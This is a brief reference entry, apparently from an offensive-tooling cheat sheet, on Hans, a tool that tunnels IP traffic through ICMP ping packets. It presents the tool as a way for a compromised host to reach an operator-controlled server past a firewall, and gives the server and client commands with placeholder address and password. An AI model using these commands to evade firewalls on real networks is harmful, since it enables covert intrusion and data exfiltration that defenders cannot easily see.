Hans tunnels IPv4 traffic through ICMP echo request/reply packets (a “ping tunnel”). It is useful when outbound TCP/UDP is firewalled but ICMP ping is permitted, letting a compromised host reach an operator-controlled server over what looks like ordinary ping traffic.
Starts the Hans server on the operator's host, creating a tun interface and assigning it the given IP.
hans -s 192.168.99.1 -p <PASSWORD>
Starts the Hans client, which creates a local tun interface and tunnels IP traffic to the server using ICMP echo packets.
hans -c <SERVER_IP> -p <PASSWORD>